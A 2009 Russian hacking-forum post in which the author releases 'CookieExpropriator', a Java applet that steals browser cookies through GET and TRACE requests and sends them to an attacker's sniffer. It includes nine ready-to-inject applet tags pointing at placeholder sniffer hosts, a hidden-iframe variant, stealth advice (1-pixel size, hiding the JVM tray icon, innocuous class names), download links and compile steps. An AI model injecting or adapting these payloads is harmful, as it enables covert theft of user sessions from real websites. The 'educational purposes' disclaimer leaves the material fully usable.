ANTICHAT.XYZ    VIDEO.ANTICHAT.XYZ    НОВЫЕ СООБЩЕНИЯ    ФОРУМ  
Баннер 1   Баннер 2
Antichat снова доступен.
Форум Antichat (Античат) возвращается и снова открыт для пользователей. Здесь обсуждаются безопасность, программирование, технологии и многое другое. Сообщество снова собирается вместе.
Новый адрес: forum.antichat.xyz
Вернуться   Форум АНТИЧАТ > ИНФО > Статьи > Авторские статьи
   
 
 
Опции темы Поиск в этой теме Опции просмотра

Перехват cookie c помощью JAVA-апплетов
  #1  
Старый 15.07.2009, 05:43
Аватар для LeverOne
LeverOne
Познающий
Регистрация: 22.02.2006
Сообщений: 67
Провел на форуме:
4155100

Репутация: 2033
По умолчанию Перехват cookie c помощью JAVA-апплетов

CookieExpropriator - апплет для перехвата cookie.


В последней бета-версии Opera 10.50 кросс-сайт-трейсинговая уязвимость была исправлена. Ява плагин унифицирован под общие стандарты. Нативный лайв-коннект упразднен, хотя информацию о таких намерениях в FF 3.6 первой опубликовала Мозилла.


Возможности

Апплет тестировался на JAVA 6 update 14 (основной функционал и на JAVA 6 update 1) в браузерах IE 6-8, FF 2-3, Opera 9.64-10b, Safari 3-4.0.2, Google Chrome 2 под Windows (в том числе с отключенными плагинами нового поколения), не основан на уязвимостях и предназначен для:

[Первое] перехвата cookie от базы кода и/или базы документа, иного доверенного сайта при помощи выполнения get- или trace- java-запросов.

1. Перехват cookie от БАЗЫ КОДА или ИНОГО ДОВЕРЕННОГО САЙТА

Действует ограничение:
1) Opera 9-й ветки c отключенным JS требует наличия скрытого ифрейма на странице для получения TRACE-ответа.

2. Перехват cookie от БАЗЫ ДОКУМЕНТА

Здесь действуют следующие объективные ограничения:
1) Д.б. включен JS
2) FF, IE могут получать cookie от базы документа методами TRACE и GET, Safari и Chrome читают document.cookie. Opera - только методом TRACE, если указан GET - прочитает document.cookie.

3. Ограничения общего характера:
1) Opera не может перехватывать cookie при помощи get-запросов (подробности в статье).
2) Safari с отключенным JS на данный момент не может выполнить ни один апплет (ошибка).

[Второе] отправки результата сниффер.

Действует ограничение:
1) Если сниффер находится на недоверенном хосте, и в браузере выключен JS, то отправка результата на сторонний хост производится только при наличии на странице ифрейма (желательно скрытого). Для снятия ограничения, дабы не внедрять вместе с тегом апплета ещё и ифрейм, разместите на сайте со сниффером кроссдоменный сертификат.

[Третье] при запуске апплета можно указать, чтобы соединение проходило через http-прокси.

Действуют ограничения:
1) Opera не поддерживает проксирование.
2) Если вы хотите получать возможные ошибки проксирования, то ваш кеширующий прокси должен перехватывать querystring при прямых запросах к нему (апплет напрямую шлет ошибки прокси).


Апплет управляется с помощью параметров

1. from [docbase, codebase, http://vulnsite.xz, ,] - адрес источника cookie, по умолчанию - адрес архива или class-файла (то есть база документа + файл -> это обеспечивает положительный ответ сервера на наш запрос). Пробел воспринимается как умолчание.
2. method [get, trace, ,] - по умолчанию get.
3. s [http://mysnif.xz/s.gif] - адрес вашего сниффера.
4. proxyhost [http://myproxy.xz], proxyport [число] - хост и порт HTTP-прокси, порт по умолчанию - 80.
5. output - указывается для вывода в java-консоль отправляемого на сниффер результата. Используется для предварительных тестов и не требует значений.
6. frame [имя фрейма] - параметр подтверждает наличие вашего/невашего скрытого фрейма/ифрейма/окна, который/ое может использоваться апплетом для нужд запроса к недоверенному ресурсу в случае отключения JS пользователем. Значение параметра - это д.б. реальное имя фрейма (атрибут name).

[*] Указание протокола во всех параметрах необязательно.
[**] Значения параметров from, method могут перечисляться через запятую [,] , что соответствует оригинальному синтаксису. При этом первый метод будет соответствовать первому источнику (from) и так далее.
[***] Остальные параметры стандартны, о них можете прочитать в статье и в доп. источниках, приводимых в конце.

Примеры запуска

1. Перехват cookie от базы документа методом GET, в который внедрен тег applet, а загрузка class-файла происходит с нашего сайта [http://mysite.xz/bla/CExpr.class], с отправкой на сниффер результата

<applet width=1 height=1 code=CExpr.class codebase=http://mysite.xz/bla from=docbase s=http://mysnif.xz/s.gif></applet>

2. То же методом TRACE с выводом на консоль результата

<applet width=1 height=1 code=CExpr.class codebase=http://mysite.xz/bla from=docbase method=trace s=http://mysnif.xz/s.gif output></applet>

3. От базы кода

<applet width=1 height=1 code=CExpr.class codebase=http://vulnsite.xz/bla s=http://mysnif.xz/s.gif></applet>

4. От стороннего сайта

<applet width=1 height=1 code=CExpr.class from=http://somesite.xz/good/bad/ugly.html codebase=http://mysite.xz/bla s=http://mysnif.xz/s.gif java_arguments='-Djnlp.altCrossDomainXMLFiles=http://somesite.xz/good/crossdomain.xml'></applet>

5. От базы документа методами TRACE и GET

<applet width=1 height=1 code=CExpr.class codebase=http://mysite.xz/bla from=docbase,docbase method=get,trace s=http://mysnif.xz/s.gif></applet>

6. В условиях, когда сайт не предоставляет правильную ссылку на class файл (например, в конце URL нужны параметры), необходимо использовать архивирование. Допустим, ссылка на архив выглядит как http://vulnsite.xz/myjar.jar?blo=blo , тогда

<applet width=1 height=1 code=CExpr.class archive=myjar.jar?blo=blo codebase=http://vulnsite.xz s=http://mysnif.xz/s.gif></applet>

7. Вариант, учитывающий возможность отключения JS пользователем

<iframe name=lo width=0 height=0 frameborder=0></iframe>
<applet frame=lo width=1 height=1 code=CExpr.class codebase=http://mysite.xz/bla from=docbase method=trace s=http://mysnif.xz/s.gif output></applet>


8. Google Chrome 2 в качестве параметров апплета воспринимает только заранее предопределенные в HTML атрибуты тега. Поэтому, если вы рассчитываете и на этот браузер, придётся все управляющие параметры писать в теге PARAM (в целом так правильнее)

<applet width=1 height=1 code=CExpr.class codebase=http://mysite.xz/bla>
<param name=from value=docbase>
<param name=method value=trace>
<param name=s value=http://mysnif.xz/s.gif>
<param name=output>
</applet>


9. Если не желаете передавать параметры явным образом, то можете изменить переменные класса непосредственно в исходном коде с перекомпиляцией *.

Внешние признаки запуска апплета

- Opera никак не сигнализирует, что запущен апплет.
- Остальные браузеры, поддерживающие плагины второго поколения, показывают в трее иконку JVM. Доступ к ней запрещен менеждером безопасности, поэтому всё, что можно сделать, это по окончании работы апплета с помощью JS удалить узел апплета из DOM-дерева, после чего иконка исчезнет ровно через 1 минуту. В Google Chrome она исчезает сразу. Однако, если на странице продолжаются запуски java (например, продолжает работать механизм получения cookie от базы документа), то иконка останется.
- Tакже возможно, что апплет выдаст себя при загрузке, показав прогрессбар. Именно во избежание данной угрозы размеры его показа минимизируются до 1 пикселя, также не будет лишним стилевое сокрытие с пом. visibility:hidden (ни в коем случае не display:none!).
- В некоторых браузерах сообщение о запуске апплета может появляться в статус баре, поэтому имя классу следует давать попроще (уж никак не CookieExpropriator...) Единственное требование - принцип уникальности: сочетание символов названия класса не должно содержаться в других тегах, поскольку для самоудаления апплет ищет себя в документе по имени класса.

Сказанное означает, что апплет - это достаточно заметный инструмент для организации перехвата cookie у основной массы пользователей и незаметный, если используется браузер Opera.

СКАЧАТЬ: _http://cookieexpropriator.googlecode.com/files/CExpr.rar


ВИДЕО: _http://cookieexpropriator.googlecode.com/files/cexpr_v.rar

Апплет создан исключительно в познавательных целях. Автор не несет ответственности ни за что.

-------
* Компиляция кода происходит только при указании пути к plugin.jar, где находится класс netscape.javascript.JSObject, в переменной -classpath. Если у вас не прописаны переменные среды, команда компиляции будет выглядеть примерно так:
Код:
"C:\Program Files\Java\jdk1.6.0_14\bin\javac.exe" -classpath "C:\Program Files\Java\jdk1.6.0_14\jre\lib\plugin.jar" "C:\[путь к вашему файлу java]\CExpr.java"

Последний раз редактировалось LeverOne; 04.06.2010 в 19:49..
 
Ответить с цитированием
 



Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
Фальсификация cookie k00p3r Чужие Статьи 6 11.04.2010 19:36
Все о Samsung novichok Сотовый фрикинг 1 15.02.2006 14:47
Взлом через cookie k00p3r Чужие Статьи 0 13.06.2005 13:56
Словарь Java-терминов foreva Чужие Статьи 0 08.02.2005 16:28
Cookies Болталка 9 11.01.2004 03:43



Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT.XYZ